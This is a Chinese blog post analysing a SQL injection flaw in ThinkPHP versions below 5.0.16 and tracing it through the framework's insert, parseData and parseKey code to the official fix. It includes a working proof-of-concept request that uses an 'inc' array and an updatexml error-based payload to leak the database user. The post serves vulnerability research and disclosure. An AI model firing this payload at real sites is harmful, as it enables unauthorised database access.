Chybeta

Thinkphp框架 < 5.0.16 sql注入漏洞分析

Thinkphp框架 < 5.0.16 sql注入漏洞分析

前言

漏洞复现

搭建好数据库,以我自己的配置为例。数据库为tptest,表名为user,其中有两个字段id和username

thinkphp官网下载5.0.15版本: http://www.thinkphp.cn/down/1125.html 。修改数据库配置信息 application/database.php。在 application/config.php 中打开调试和trace,app_debugapp_trace均为true。在 application/index/controller/Index.php 中Index类中添加方法:

1
2
3
4
5
public function testsql()
{
$username = input('get.username/a');
db('user')->where(['id'=> 1])->insert(['username'=>$username]);
}

访问:

1
http://127.0.0.1/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

漏洞分析

通过input获取到参数后,username变量情况如下:

跟入insert,thinkphp/library/think/db/Query.php:2078

1
2
3
4
5
6
public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
{
// 分析查询表达式
$options = $this->parseExpress();
$data = array_merge($options['data'], $data);
...

接下去执行:

1
$sql = $this->builder->insert($data, $options, $replace);

跟入 thinkphp/library/think/db/Builder.php:720:

1
2
3
4
5
6
7
8
public function insert(array $data, $options = [], $replace = false)
{
// 分析并处理数据
$data = $this->parseData($data, $options);
if (empty($data)) {
return 0;
}
...

跟入parseData至 thinkphp/library/think/db/Builder.php:101 ,相关变量信息已经注释添加。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
protected function parseData($data, $options)
{
...
// 注
foreach ($data as $key => $val) { // 第 101 行左右
// $key : "username"
// $val : {"inc","updatexml(1,concat(0x7,user(),0x7e),1)","1"}
$item = $this->parseKey($key, $options);
if (is_object($val) && method_exists($val, '__toString')) {
....
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
...
} elseif (is_null($val)) {
...
} elseif (is_array($val) && !empty($val)) {
// $val[0] = "inc"
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
}
...
}
return $result;

可以看出$val是数组,且根据$val[0]值为inc,会通过switch语句进入到下面这条:

1
2
3
4
5
case 'inc':
// $val[1] = "updatexml(1,concat(0x7,user(),0x7e),1)"
// $val[2] = "1"
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;

跟入此处的parseKey,即thinkphp/library/think/db/builder/Mysql.php:90

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected function parseKey($key, $options = [])
{
$key = trim($key);
if (strpos($key, '$.') && false === strpos($key, '(')) {
// JSON字段支持
list($field, $name) = explode('$.', $key);
$key = 'json_extract(' . $field . ', \'$.' . $name . '\')';
} elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {
list($table, $key) = explode('.', $key, 2);
if ('__TABLE__' == $table) {
$table = $this->query->getTable();
}
if (isset($options['alias'][$table])) {
$table = $options['alias'][$table];
}
}
if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) {
$key = '`' . $key . '`';
}
if (isset($table)) {
if (strpos($table, '.')) {
$table = str_replace('.', '`.`', $table);
}
$key = '`' . $table . '`.' . $key;
}
return $key; // $key : "updatexml(1,concat(0x7,user(),0x7e),1)"
}

此处并未对传入的$key进行更多的过滤与检查,最后返回的仍然是1 and (updatexml(1,concat(0x7,user(),0x7e),1))

回到parseDatafloatval($val[2])返回1,这也正是我们要传入username[2]=1的原因。将其与前面经过parseKey的结果进行拼接后返回给result

回到 thinkphp/library/think/db/Query.ph 的 insert 中:

漏洞修复

官方commit: https://github.com/top-think/framework/commit/363fd4d90312f2cfa427535b7ea01a097ca8db1b

在进行decinc操作之前对$val[1]的值进行了再次确认。

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:Thinkphp框架 < 5.0.16 sql注入漏洞分析

文章作者:chybeta

发布时间:2018年04月10日 - 07:04

最后更新:2018年12月22日 - 22:12

原始链接:http://chybeta.github.io/2018/04/10/Thinkphp框架-5-0-16-sql注入漏洞分析/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。